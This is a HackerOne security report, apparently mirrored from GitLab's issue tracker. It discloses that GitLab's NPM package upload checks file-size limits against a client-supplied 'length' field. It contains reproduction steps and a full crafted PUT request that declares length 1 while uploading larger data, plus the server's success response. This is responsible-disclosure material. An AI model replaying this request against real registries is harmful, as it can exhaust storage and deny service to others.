Skip to content

Bypassing file size limits to the NPM package repository

HackerOne report #1071861 by 0xn3va on 2021-01-05, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

Packages::Npm::CreatePackageService incorrectly validates file length when creating a NPM package, allows uploading files of any size.

File size validation is as follows app/services/packages/npm/create_package_service.rb:

def file_size_exceeded?  
        project.actual_limits.exceeded?(:npm_max_file_size, attachment['length'].to_i)  
end  

Where attachment ['length'] comes directly from the user's request and has nothing to do with the actual file size.

Steps to reproduce

Set a limit on the size of an uploaded file from a user with administrator rights:

  1. Go to Admin Area > Settings > CI/CD > Package file size limits
  2. Set the Maximum NPM package file size in bytes to 10
  3. Save default size limits

Log in as a regular user and follow these steps:

  1. Create a new project npm-package-test and initialize it with a README

  2. Create a deploy token for npm-package-test (Settings > Repository > Deploy Tokens)

    Screenshot_2021-01-05_at_17.35.47.png

  3. Generate arbitrary data over 10 bytes:

    $ dd if=/dev/urandom bs=1024 count=1 2>/dev/null | base64  
  4. Make a request to create an NPM package. Specify the authentication data from item 2 in the Authorization header and use the data from item 3 as <random_data>. Note that we are passing 1 in the length parameter, which will then be taken as the file size to validation.

    PUT /api/v4/projects/121/packages/npm/[@]0xn3va%2fnpm-package-test HTTP/1.1  
    Host: 0xn3va.gitlab.local  
    Accept-Encoding: gzip, deflate  
    Accept: */*  
    Connection: close  
    Authorization: Basic <base64(login:deploy_token)>  
    Content-Type: application/json  
    Content-Length: 2341
    
    {"_id":"[@]0xn3va/npm-package-test","name":"[@]0xn3va/npm-package-test","description":"","dist-tags":{"latest":"1.0.0"},"versions":{"1.0.0":{"name":"","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"repository":{"type":"git","url":"http://0xn3va.gitlab.local/0xn3va/npm-package-test.git"},"author":"","license":"ISC","readme":"","readmeFilename":"README.md","gitHead":"6a3af683364abdf64326db42330717b02dc5e4ba","_id":"[@]0xn3va/npm-package-test@1.0.0","_nodeVersion":"15.0.1","_npmVersion":"7.0.3","dist":{"integrity":"sha512-mtZtT3BPITRcEetWWgVbBviZIkc2F3NZxbO6jaAz8IaxJSpI9sdd9Fd9eg6/rGRUpOHiLEUvCwbvQomrbHVPyw==","shasum":"","tarball":"http://0xn3va.gitlab.local/api/v4/projects/121/packages/npm/[@]0xn3va/npm-package-test/-/[@]0xn3va/npm-package-test-1.0.0.tgz"}}},"access":null,"readme":"","_attachments":{"[@]0xn3va/npm-package-test-1.0.0.tgz":{"content_type":"application/octet-stream","data":"<random_data>","length":1}}}   
Impact

Bypassing the specified file size limits allows the user to abuse the functionality to create NPM packages for uploading large files, given the lack of storage limits for the package registry (https://gitlab.com/gitlab-org/gitlab/-/issues/218024), this can lead to disk space exhaustion and denial of service.

What is the current bug behavior?

The file size limit check relies on a parameter that comes directly from the user.

What is the expected correct behavior?

The file size limit check relies on the actual size of the data being transferred.

Relevant logs and/or screenshots

Request to create NPM package:

PUT /api/v4/projects/121/packages/npm/[@]0xn3va%2fnpm-package-test HTTP/1.1  
Host: 0xn3va.gitlab.local  
Accept-Encoding: gzip, deflate  
Accept: */*  
Connection: close  
Authorization: Basic MHhuM3ZhOnlyTjR3Snh5cy1renlmZnNEdVNu  
Content-Type: application/json  
Content-Length: 2341

{"_id":"[@]0xn3va/npm-package-test","name":"[@]0xn3va/npm-package-test","description":"","dist-tags":{"latest":"1.0.0"},"versions":{"1.0.0":{"name":"","version":"1.0.0","description":"","main":"app.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"repository":{"type":"git","url":"http://0xn3va.gitlab.local/0xn3va/npm-package-test.git"},"author":"","license":"ISC","readme":"","readmeFilename":"README.md","gitHead":"6a3af683364abdf64326db42330717b02dc5e4ba","_id":"[@]0xn3va/npm-package-test@1.0.0","_nodeVersion":"15.0.1","_npmVersion":"7.0.3","dist":{"integrity":"sha512-mtZtT3BPITRcEetWWgVbBviZIkc2F3NZxbO6jaAz8IaxJSpI9sdd9Fd9eg6/rGRUpOHiLEUvCwbvQomrbHVPyw==","shasum":"","tarball":"http://0xn3va.gitlab.local/api/v4/projects/121/packages/npm/[@]0xn3va/npm-package-test/-/[@]0xn3va/npm-package-test-1.0.0.tgz"}}},"access":null,"readme":"","_attachments":{"[@]0xn3va/npm-package-test-1.0.0.tgz":{"content_type":"application/octet-stream","data":"A383wUKjonY02FqIOBEn3N9yb92ZSfz6eJWGNNvx3nmM2iG336NTeFd/SFigV6uyjG3xXKGpXFrplC38wbllZRNAlTBirGKew1zbw1qRqmwjoWcu0yP6OvcbjzBHLcd9ysu03nTNdQ+hGLXozWu3lNINO7BUxh6+he6CfH3nRabNPmv1Z7IFD+Cw4hfcQ3PRCdf36UWsIsX3s/UYH6aweyDx23NefLul4Eqf43gS9MD7i5kGVQD254H3auSXatkUOKi3bcRHabCfPCuRbmjZlIEoH4mxMCU0fzKE2EyNHd7KJt9eVJpJWSszNQOnWjedX0UgIanK/VgedyiNdvvBWBRBPsN4nMV084TPOlNSQHiH81d20bNZo7zv3HezGr7c1FU82+yUxVpcyYhgLxtHxPxy9x3LnlDnnXu4u4NC/wRq4fGef34C/FgshEXzunEoTyVdHXk/ynvpJOAQZWSt6RDDQHJKalz4JmwtiWAyjTdzDCTsVp7DJ8Daq8Dpumb5FwotSkcagbtBL+thTALhYMx99DiP+XTaU5idAcfA6145KkJvlMp3rgjPJ4cqiTn+cPPoiZSAac4/FoHQveuNWdECofSDk2pttaSRrW5d4JOFfLN7FnkUFW5GHZ8uyqSo1deZerohW4JeQ6on12ciULb980rQx+ehWultc3tvba6svJqO6s1VeodeysHQeK/B1wYJpuu00PtJSelj3vXCIyS5elAjOOdu20x2al7cGrBAZdZhpG6aBR+Y0XelvLSJi4TMeYUyMlCAx4RwvRaz5K+tQ+NWAWi8Z6f6mS0SeqSQgto8qjOm8j1XO7OFS+l5RQwQkR1qjFDIUh4XNiLX6SlkdIlgETwdrB+mRFQe7d9n4J22kqBnq/Oln8Vd/Yz3dxSC6xL5rBe0id2g0Tdk8v/3jiukuP/WNmdHrxb1juCSHGUbBTolivp6s4s4+qAr3KR900l7H9Ok20tHaoodQBS2K+RpTxWJ6N3/Lc5wOQsywScjHDbGCF7ud2AQVLgcqwyv1i085XEIKI41KCLpaEZ5FGCdrH89PazG6h5KufaugbW3i9mbe6xwUpXpqW/o4xaBOKTWHytTslLEuiAIGNAPup0IzmedU9txNJqXZGxr61IVmzTgR8fSzqcf8xfZR15AAkgww6ErxoNp6bn8GV7v1+nHBAhY+0k99YyO96Zohzx6C6t+RfN7uKgd2SO56H4GwLVCXp/oRMlS8UIHJFdFdjJymtQi/W7pk1mT6NQkCSi2Mrr2Z1dyk4sbBeTZDRPePiy1IIHmBlXxMXuYNoF7Sq95dac5crcf05NMX9eq8Acc7Abq+s8r+3ZHpNbXGaHeoLQf3FYdm3mkqvoMcg==","length":1}}}  

Response:

HTTP/1.1 200 OK  
Server: nginx  
Date: Tue, 05 Jan 2021 10:43:44 GMT  
Content-Type: application/json  
Content-Length: 197  
Connection: close  
Cache-Control: max-age=0, private, must-revalidate  
Etag: W/"6150427642cdf0f6cf9bac67ab79a601"  
Vary: Origin  
X-Content-Type-Options: nosniff  
X-Frame-Options: SAMEORIGIN  
X-Gitlab-Feature-Category: package_registry  
X-Request-Id: WwEzNyZY0k7  
X-Runtime: 0.233736  
Strict-Transport-Security: max-age=31536000  
Referrer-Policy: strict-origin-when-cross-origin

{"id":42,"project_id":121,"created_at":"2021-01-05T10:43:44.231Z","updated_at":"2021-01-05T10:43:44.231Z","name":"[@]0xn3va/npm-package-test","version":"1.0.0","package_type":"npm","creator_id":null}  

NPM package in Package Registry:

Screenshot_2021-01-05_at_17.59.13.png

Download the NPM tarball (note, the file size is 1024):

Screenshot_2021-01-05_at_18.00.35.png

Results of GitLab environment info
$ sudo gitlab-rake gitlab:env:info

System information  
System:  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.7.2p137  
Gem Version:	3.1.4  
Bundler Version:2.1.4  
Rake Version:	13.0.1  
Redis Version:	5.0.9  
Git Version:	2.29.0  
Sidekiq Version:5.2.9  
Go Version:	unknown

GitLab information  
Version:	13.6.3-ee  
Revision:	8578025c5e8  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	11.9  
URL:		http://0xn3va.gitlab.local  
HTTP Clone URL:	http://0xn3va.gitlab.local/some-group/some-project.git  
SSH Clone URL:	git@0xn3va.gitlab.local:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	13.13.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

Bypassing the specified file size limits allows the user to abuse the functionality to create NPM packages for uploading large files, given the lack of storage limits for the package registry (https://gitlab.com/gitlab-org/gitlab/-/issues/218024), this can lead to disk space exhaustion and denial of service.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: